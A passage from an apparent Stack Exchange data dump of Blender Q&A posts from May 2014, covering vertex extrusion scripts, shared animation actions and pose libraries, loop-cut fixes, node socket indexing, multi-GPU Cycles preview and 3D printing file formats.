LastActivityDate="2014-05-19T21:34:39.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10520" PostTypeId="1" AcceptedAnswerId="10531" CreationDate="2014-05-19T21:43:16.990" Score="1" ViewCount="643" Body="&lt;p&gt;I'm trying to make a simple script that extrude vertex in random ways,&#xA;all works without extrude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if it's good I wrote, but I do not know how to extrude vertex to the location of the cursor.&#xA;Any idea what is wrong with my code and how to fix it?&#xA;I run script in Edit mode with one vertex on the scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;#generate random number&#xA;def RN():&#xA;    return int(random.random()*400)/20&#xA;&#xA;for i in range(1,100):&#xA;#set 3d cursor to random location&#xA;    bpy.context.scene.cursor_location = (RN(),RN(),RN())&#xA;#extrude vertex to cursor location - doesn't work&#xA;    bpy.ops.mesh.dupli_extrude_cursor(rotate_source=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3543" LastActivityDate="2014-05-21T16:49:43.393" Title="Scripting - vertex won't extrude" Tags="&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10521" PostTypeId="2" ParentId="10517" CreationDate="2014-05-19T21:44:36.983" Score="1" Body="&lt;p&gt;If, for some reason using the mirror modifier on the mesh doesn't work (for example, if you want a different placement for each of the two front legs, or you want one ear standing upright at a different angle than the other, while I'm not aware of a way to mirror textures, with some forethought, you can map different parts of the mesh into the same part of the texture. As example, you would eliminate one of the eyes, and one of the white spots in the texture, and map both eyes into one eye, and the insides of both ears into the same parts of the texture. You could also reduce the size of the other brown and white hues in the texture, and map multiple parts of the mesh onto those as well.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-19T21:44:36.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10523" PostTypeId="1" CreationDate="2014-05-20T00:07:22.053" Score="6" ViewCount="5909" Body="&lt;p&gt;I would like to share animations sequences between models (if possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently several models and more will be added soon. All of the models need to execute the same animation sequences like walk, run, fight, etc. These animations will be seen from different camera angles since they will be used in an isometric game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to automate the build process. Is it possible to link an in-house 'standard' armature (set of bones) and make all of the artists bind different meshes to the same rig, and then animate the standard rig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it would limit the artists since they would be forced to fit the models they make to the rig, but I hope it would give us the ability create more animations quickly and at lower cost than using custom animations. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="3545" LastEditorUserId="3401" LastEditDate="2014-05-20T12:31:47.053" LastActivityDate="2014-05-20T12:31:47.053" Title="Many models sharing the same animation sequence?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10524" PostTypeId="2" ParentId="10523" CreationDate="2014-05-20T04:22:58.730" Score="0" Body="&lt;p&gt;An armature is a Blender object, so you should be able to create a (set of) standard armatures, and have your creature creators append the appropriate armature, and animate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've not tried to link or append animations, and consulting the Blender manual, it doesn't appear to me that the animation itself can be linked or appended.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-20T04:22:58.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10525" PostTypeId="2" ParentId="10508" CreationDate="2014-05-20T04:38:39.867" Score="3" Body="&lt;p&gt;You can setup a fluid sim and start simulating some fluid, as the simulation is baking you can progress through the timeline to see each frame as it is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get to a frame you like the look of, you can cancel the bake. Under the modifiers properties of the domain object you will find a Fluidsim modifier, by clicking apply you will remove the simulation and leave the domain object permanently shaped as you see it, as a piece of water frozen in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cGCuW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-20T04:38:39.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10526" PostTypeId="2" ParentId="10523" CreationDate="2014-05-20T05:42:04.180" Score="4" Body="&lt;p&gt;The key to sharing animations between objects is actions. An action is a sequence of animation keyframes that is linked to an object. The Action Editor is a sub-editor of the dopesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have two or more objects that you want to share an action, select the new object then select the action in the action editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xiuNM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you play the animation you will find that the two objects will now move in unison. There are two ways to adjust this, one is to make the animation unique to the object by clicking the number next to the Action Name. This duplicates the action, similar to duplicating a material etc. making it unique to the object allowing you to adjust the frames that the action is performed on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use the NLA Editor to adjust timing of the action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fvo0B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see that metarig is playing action LiftLeg from frame 1, metarig.001 also has the LiftLeg action associated with it at frame 1. By clicking the down arrow icon (the arrow will be in 2.71, in earlier versions it looks like a snowflake) in line with metarig.001's LiftLeg action it will turn into an NLA track as seen with metarig. Now you will be able to adjust the action timing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily drag the action in the timeline to alter the start frame, but if you open the properties sidebar (press &lt;kbd&gt;N&lt;/kbd&gt;) you also get access to more options like scale, repeat count and blend mode. Scaling allows a character to perform the action quicker or slower than other characters. You can have several actions for an object in the NLA at the same time and choose how they blend together, so you can have you character walking and then have a wave action override the arms at a given time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BQn9o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the metarig repeats the walk cycle 5 times and just before the third time he starts waving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your using the game engine then you can use an Action actuator to play a specific action when you want it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-20T05:42:04.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10527" PostTypeId="1" CreationDate="2014-05-20T05:45:10.360" Score="3" ViewCount="104" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/roMoo.jpg&quot; alt=&quot;enter image description here&quot;&gt;Hi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't intersect the duplicated loop cuts into the model.&#xA;I first made horizontal loop cuts, then i made some vertical loop cuts and duplicated those,&#xA;it would be a quick way to repeat the cuts for putting in the windows.&#xA;The problem is that the vertical loop cuts do not intersect with the horizontal loop cuts.&#xA;I tried intersecting them, cleaning, removing doubles, joining, boolean,  etc. etc,..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need some help here!&#xA;Using Blender 2.70a&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2014-05-20T06:21:36.433" Title="Can not intersect duplicated loopcuts into model" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10528" PostTypeId="2" ParentId="10523" CreationDate="2014-05-20T06:13:02.613" Score="0" Body="&lt;p&gt;I solved a similar task by creating a pose library with all required poses (same rig in my case a MHX rig) and a control file which contains the information which character and group of bones should get a pose assigned on a specific keyframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keyframes are added to an action. This way each character has its own animation which can be tweaked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The control file looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 SET:A=r6839a_proxy&#xA;0 SET:B=r6839b_proxy&#xA;1 A:All=Stance&#xA;1 B:All=Stance&#xA;10 B:Arm.L=Punch,Arm.R=Block&#xA;10 A:Arm.L=Hook&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first number is the keyframe in line #0 the rig proxy is assigned to a variable A/B to quickly change the character.&#xA;Line #1 selects all bones and assigns a stance as starting position from a poselib that contains a pose called stance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line #10 Selects the left arm of the character B and assigns a Punch from the poselib.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: that I used forward kinematics for the arm and inverse kinematics for the legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script that reads the control file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj_map = {}&#xA;&#xA;target_map = { &quot;Root&quot; : 0, &quot;Spine&quot; : 1, &quot;ArmFK.L&quot; : 3, &quot;LegIK.L&quot; : 4, &quot;Fingers.L&quot; : 6, &#xA;                &quot;Links.L&quot; : 7, &quot;ArmFK.R&quot; : 19, &quot;LegIK.R&quot; : 20, &quot;Fingers.R&quot; :22, &quot;Links.R&quot; : 23 } &#xA;&#xA;macros = { &quot;Hand.L&quot;: [&quot;Fingers.L&quot;, &quot;Links.L&quot;],&#xA;           &quot;Hand.R&quot;: [ &quot;Fingers.R&quot;, &quot;Links.R&quot; ],&#xA;           &quot;All&quot;:  [&quot;Spine&quot;,&quot;ArmFK.L&quot;,&quot;ArmFK.R&quot;,&quot;LegIK.L&quot;,&quot;LegIK.R&quot;,&quot;Links.R&quot;,&quot;Fingers.R&quot;,&quot;Links.L&quot;,&quot;Fingers.L&quot;],&#xA;           &quot;Stance&quot;: [&quot;Spine&quot;,&quot;Root&quot;,&quot;LegIK.L&quot;,&quot;LegIK.R&quot;],&#xA;           &quot;Arm.L&quot;: [&quot;ArmFK.L&quot;,&quot;Links.L&quot;,&quot;Fingers.L&quot;],&#xA;           &quot;Arm.R&quot;: [&quot;ArmFK.R&quot;,&quot;Links.R&quot;,&quot;Fingers.R&quot;] }&#xA;&#xA;def get_pose_index(obj, pose_name ):&#xA;    idx = 0&#xA;    for pm in obj.pose_library.pose_markers:&#xA;        if pose_name == pm.name:&#xA;            return idx&#xA;        idx += 1&#xA;    return None&#xA;&#xA;def build_layers(targets):&#xA;    layers = [False]*32&#xA;    print( targets )&#xA;    for t in targets:&#xA;        if t in target_map:&#xA;            layers[target_map[ t ] ] = True&#xA;    return tuple( layers )&#xA;&#xA;def apply( obj, targets, pose_name):&#xA;    idx = get_pose_index( obj, pose_name )&#xA;    if idx is None:&#xA;        print(&quot;pose %s not found.&quot; % pose_name )&#xA;        return&#xA;    sel_layers = build_layers( targets )&#xA;    bpy.ops.pose.armature_layers(layers=sel_layers)&#xA;    bpy.ops.poselib.apply_pose(pose_index=idx)    &#xA;    bpy.ops.pose.select_all(action='SELECT')   &#xA;    #if &quot;Root&quot; in targets:&#xA;    bpy.ops.anim.keyframe_insert(type='BUILTIN_KSI_LocRot')&#xA;    #else:&#xA;    #bpy.ops.anim.keyframe_insert(type='Rotation')&#xA;&#xA;&#xA;action=&quot;poon&quot;&#xA;text=action + &quot;.txt&quot;&#xA;&#xA;&#xA;txt = bpy.data.texts[ text ].as_string()&#xA;for line in txt.splitlines():&#xA;    if line.find(&quot; &quot;) != -1 and line.find(&quot;#&quot;) == -1:&#xA;        sframe,rig_and_poses= line.split(&quot; &quot;)&#xA;        rest=rig_and_poses.split(&quot;:&quot;)&#xA;        print(&quot;frame :%s&quot; % sframe )&#xA;        obj_name=rest[0]&#xA;        poses=rest[1]&#xA;        pose_list=poses.split(&quot;,&quot;)&#xA;        if obj_name.upper() == &quot;SET&quot;:&#xA;            var,val = pose_list[0].split('=')&#xA;            obj_map[var]=val&#xA;            print( obj_map )&#xA;            continue&#xA;&#xA;        bpy.context.scene.frame_set( int( sframe ))&#xA;        for assignment in pose_list:&#xA;            bone_group_name,pose_name=assignment.split(&quot;=&quot;)&#xA;            if bone_group_name in macros:&#xA;                targets = macros[ bone_group_name ]  &#xA;            else:&#xA;                 targets = [ bone_group_name ]&#xA;            obj = bpy.data.objects.get( obj_map[ obj_name])&#xA;            if obj == None:&#xA;                print(&quot;obj name=&quot; + obj_name + &quot; not found.&quot;)&#xA;                break&#xA;            bpy.context.scene.objects.active = obj&#xA;            obj.select = True  &#xA;            #print( obj.animation_data.action  )&#xA;            #if obj.animation_data.action == None:&#xA;            #    bpy.ops.action.new()&#xA;            #print( obj.animation_data.action  )&#xA;            #obj.animation_data.action.name = action + obj_name&#xA;&#xA;            bpy.ops.object.mode_set(mode = 'POSE')  &#xA;            print(&quot;assign obj:%s bone_group:%s, pose:%s&quot; % (obj, bone_group_name, pose_name))&#xA;            apply(  obj, targets, pose_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some details:&#xA;target_map is a dictionary which maps names used in the control script to rig-layer numbers (MHX) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;macros is a collection for rig-layer adressed by single name e.g. 'All' for all rig-layers and Stance covers the root bone and both legs, thats to keep the control file short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 50:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;action=&quot;poon&quot;&#xA;text=action + &quot;.txt&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the name of the control file it is directly used from the internal text editor.&#xA;Related:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/4802/can-an-action-be-mirrored-or-reused&quot;&gt;Can an action be mirrored or reused?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-05-20T06:13:02.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10529" PostTypeId="2" ParentId="10527" CreationDate="2014-05-20T06:14:31.210" Score="2" Body="&lt;p&gt;Try deleting the face loop under the duplicated portion, then using &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt;Bridge Edge loops&lt;/em&gt; (&lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YCp1o.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-20T06:14:31.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10530" PostTypeId="2" ParentId="10527" CreationDate="2014-05-20T06:21:36.433" Score="2" Body="&lt;p&gt;That is because you have overlapping (or not connected) geometry. If you extend the cube by extruding a face &lt;kbd&gt;E&lt;/kbd&gt; instead of duplicating this wouldn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Svmnw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-20T06:21:36.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10531" PostTypeId="2" ParentId="10520" CreationDate="2014-05-20T06:49:12.520" Score="2" Body="&lt;p&gt;Invoking the &lt;code&gt;bpy.ops.mesh.dupli_extrude_cursor(rotate_source=True)&lt;/code&gt;&#xA; operator leads to this error message in the console window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wm_operator_invoke: invalid operator call 'MESH_OT_dupli_extrude_cursor'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although is is exactly what is printed in info header when manually extruding a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell why this doesn't work but try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;#generate random number&#xA;def RN():&#xA;    return int(random.random()*400)/20&#xA;&#xA;verts = []&#xA;edges = []&#xA;faces = []&#xA;for i in range(1,100):&#xA;#set 3d cursor to random location&#xA;    verts.append(( RN(),RN(),RN()))&#xA;    edges.append((i-1,i))&#xA;edges.pop() # remove last edge&#xA;print( verts )&#xA;print ( edges )&#xA;mesh = bpy.data.meshes.new(&quot;rand_mesh&quot;) &#xA;mesh.from_pydata(verts, edges, faces)  &#xA;rand_obj = bpy.data.objects.new(&quot;rand_object&quot;, mesh) &#xA;scene = bpy.context.scene &#xA;scene.objects.link(rand_obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really don't know for what something like this could be useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEjHo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Geometry&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Geometry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-20T06:49:12.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10532" PostTypeId="2" ParentId="10510" CreationDate="2014-05-20T07:33:04.810" Score="5" Body="&lt;p&gt;One of your examples is - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;links.new(nodes[i.from_node.name].outputs[i.from_socket.name],&#xA;          nodes[i.to_node.name].outputs[i.to_socket.name])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you notice that you are trying to connect an output socket to an output socket. You would want to connect the &lt;code&gt;from_node.outputs&lt;/code&gt; to the &lt;code&gt;to_node.inputs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also of note is that as you know the socket names are rarely unique, which is the biggest cause of trouble here, but a socket also has a property called &lt;code&gt;identifier&lt;/code&gt; that is a unique name for the node. I don't think you can use it as an array index but by counting your way through all sockets of the node you can find the same identifier and use your count as the index. The socket identifier property was added in 2.66 if you need to watch compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach to get the socket index number is with something like -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matLinks = bpy.data.materials[&quot;SomeMat&quot;].node_tree.links&#xA;socketID = matLinks[0].from_socket.path_from_id()[-2:-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;path_from_id()&lt;/code&gt; will return something like &lt;code&gt;nodes[&quot;Mix Shader&quot;].inputs[1]&lt;/code&gt; as a string, you can then use array access to get the second last character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most nodes only have a few inputs and outputs but to properly handle groups and script nodes which could have more than 10 sockets you would want to search for the last '[' and ']' to define your string extraction.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-20T07:33:04.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10534" PostTypeId="2" ParentId="3290" CreationDate="2014-05-20T07:58:28.777" Score="8" Body="&lt;p&gt;For 2.8 use the menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object&gt;Rigid Body&gt;Apply Transformation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JF80p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JF80p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;em&gt;Apply Transformation&lt;/em&gt; button was added to the &lt;em&gt;Physics tab&lt;/em&gt; of the tool shelf in 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xmOSi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will do pretty much the same thing as &lt;em&gt;Apply Visual Transform&lt;/em&gt; as in &lt;a href=&quot;https://blender.stackexchange.com/a/3383/599&quot;&gt;sergof's answer&lt;/a&gt;, but I thought I'd mention it anyway.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2020-01-20T06:54:53.210" LastActivityDate="2020-01-20T06:54:53.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10535" PostTypeId="1" AcceptedAnswerId="10543" CreationDate="2014-05-20T08:11:51.320" Score="4" ViewCount="428" Body="&lt;p&gt;I know that multiple video cards can speedup the final render for Cycles. Now I'm just wondering whether it is also true for Cycles &lt;strong&gt;Preview&lt;/strong&gt; mode (i.e. the &lt;em&gt;Rendered&lt;/em&gt; display mode in 3D View).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, then how?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-20T08:19:01.807" LastActivityDate="2014-05-20T15:23:42.677" Title="Can multiple video cards benefit to Cycles Preview?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10536" PostTypeId="1" CreationDate="2014-05-20T09:19:42.020" Score="6" ViewCount="1288" Body="&lt;p&gt;What I need is to control bones of an armature by segments of a stretchy B-Bone in the same armature. To build what I had in mind, I would at least need the location and rotation of the segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had an idea how to fake the behaviour of a stretchy B-Bone (an equally subdivided curve with two handles), that would also be a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Parenting&lt;/strong&gt; the bones to the B-Bone. This doesn't respect the segments.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a mesh deformed by the B-Bone and &lt;strong&gt;Transformation constraints&lt;/strong&gt; with vertex groups to control the bones. Doesn't work for the roll - which is important. Leads to cyclic dependencies because the mesh depends on the armature and the armature on the deformation of the mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using curves and &lt;strong&gt;Spline IK constaints&lt;/strong&gt; to drive a bone chain. Doesn't distribute the curves tilt to the roll of the bones. Needs to be animated outside of the armature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I made a small animation to show what I was trying to achieve, but I am basically out of ideas. The yellowish bones are the handles driving the B-Bone. The red bones should follow the segments (.gif unfortunately animated by hand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FekBz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is a way to rebuild the behaviour of a B-Bone with some constraints or using a script that updates the bones while animating?&lt;/p&gt;&#xA;" OwnerUserId="2871" LastEditorUserId="2871" LastEditDate="2014-05-20T11:30:40.863" LastActivityDate="2016-11-13T15:26:33.930" Title="B-Bones: How to get access to individual segments?" Tags="&lt;scripting&gt;&lt;bezier-curves&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10537" PostTypeId="1" AcceptedAnswerId="10538" CreationDate="2014-05-20T11:55:35.780" Score="2" ViewCount="73" Body="&lt;p&gt;Is it possible to select vertices/edges/faces that the selection only touched&#xA;not all of the them?&lt;/p&gt;&#xA;" OwnerUserId="3403" LastEditorUserId="12" LastEditDate="2014-05-20T15:15:50.583" LastActivityDate="2014-05-20T15:21:04.007" Title="Selecting specific control points on a mesh when using box selection" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10538" PostTypeId="2" ParentId="10537" CreationDate="2014-05-20T12:13:27.677" Score="2" Body="&lt;p&gt;To select an edge you should switch to edge select mode and right click on the edge or by using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;. To select more edges hold &lt;kbd&gt;Shift&lt;/kbd&gt; while pressing &lt;kbd&gt;RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajWND.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation on Selecting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2014-05-20T15:21:04.007" LastActivityDate="2014-05-20T15:21:04.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10542" PostTypeId="2" ParentId="10474" CreationDate="2014-05-20T14:50:10.320" Score="2" Body="&lt;p&gt;The UI isn't updating because the script does not call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bmesh.update_edit_mesh(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I got this from &lt;a href=&quot;https://blender.stackexchange.com/questions/414/how-to-use-bmesh-to-add-verts-faces-and-edges-to-existing-geometry?rq=1&quot;&gt;how to use BMesh to add verts, faces, and edges to existing geometry&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-05-20T14:50:10.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10543" PostTypeId="2" ParentId="10535" CreationDate="2014-05-20T15:23:42.677" Score="5" Body="&lt;p&gt;Just got chance to receive first-hand answer from Cycles developer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, multiple GPUs will also help in &lt;strong&gt;3D View&lt;/strong&gt;, no extra settings or so needed. It works already.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Actually, in &lt;strong&gt;3D View&lt;/strong&gt;, it does the same as regular render (by pressing &lt;kbd&gt;F12&lt;/kbd&gt;)&#xA;  if &quot;Progressive Refine&quot; is enabled, which renders all tiles with 1 sample, then again, all tiles with another sample.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;One thing should be mentioned is that although GPU got advangtages on speed, a lot of optimizations these days still are CPU only.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-05-20T15:23:42.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10544" PostTypeId="2" ParentId="9394" CreationDate="2014-05-20T15:50:37.527" Score="27" Body="&lt;p&gt;I have found that b°wide NodePack contains a blur node! It's called ImageBlur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does is play with the vectors to blur it, something like if a ray comes it collide to multiple points (effectively blurring the texture). I don't know exactly how, but here is a screen capture of the node expanded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uvOWq.png&quot; alt=&quot;Image of the group node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the background I have used it for testing in a ImageTexture node with a camera vector, that is processed by the ImageBlur and then passed to the ImageTexture vector input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see all its nodes for your use (it is in public domain) from &lt;a href=&quot;https://bwide.wordpress.com/node-groups/bwide-nodepack-for-blender/&quot; rel=&quot;noreferrer&quot;&gt;b°wide nodepack for blender&lt;/a&gt; and you can download it in &lt;a href=&quot;https://www.blendswap.com/blends/view/70570&quot; rel=&quot;noreferrer&quot;&gt;blendswap&lt;/a&gt;. It have many usefull nodes.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditDate="2018-06-12T15:29:22.957" LastActivityDate="2018-06-12T15:29:22.957" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="10545" PostTypeId="1" AcceptedAnswerId="10546" CreationDate="2014-05-20T16:24:47.047" Score="5" ViewCount="391" Body="&lt;p&gt;For Blender 2.70, I'm trying to figure out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which 3D printer file formats Blender natively supports&lt;/li&gt;&#xA;&lt;li&gt;Which 3D printer file formats Blender can support with the use of plugins/extensions/etc.&lt;/li&gt;&#xA;&lt;li&gt;Which 3D printer file formats can be converted into another format that works with Blender&lt;/li&gt;&#xA;&lt;li&gt;Which 3D printer file formats Blender cannot support at all, ever&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The most important one of those is the last one (which file types can Blender not import/export/modify at all). Can someone point me to any documentation or help me figure out which file formats fall into which group?&lt;/p&gt;&#xA;" OwnerUserId="3554" LastActivityDate="2014-05-20T16:35:46.630" Title="3D printer file type support" Tags="&lt;file-format&gt;&lt;3d-printing&gt;&lt;conversion&gt;&lt;compatibility&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 